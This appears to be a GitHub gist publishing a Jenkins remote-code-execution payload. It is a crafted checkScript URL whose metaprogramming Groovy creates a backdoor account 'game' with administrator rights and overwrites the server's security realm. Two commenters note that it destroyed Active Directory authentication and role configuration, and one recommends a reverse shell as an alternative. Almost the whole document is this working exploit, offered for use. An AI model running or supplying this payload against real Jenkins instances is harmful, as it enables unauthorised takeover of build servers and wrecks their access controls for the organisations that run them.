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akhil-reni/payload

Created July 26, 2019 13:23
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Jenkins Metaprogramming RCE Create new user
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payload
http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}}
@ilatypov
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ilatypov commented Aug 1, 2019 •
edited

In addition to creating a privileged account, this disabled Active Directory authentication and destroyed the role-based configuration for Active Directory groups vs. Jenkins folders.

@gquere
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gquere commented Aug 8, 2019 •
edited

This will work but will also absolutely trash the whole security configuration! Use with caution!
If applicable, prefer the use of a Groovy/Bash reverse shell.

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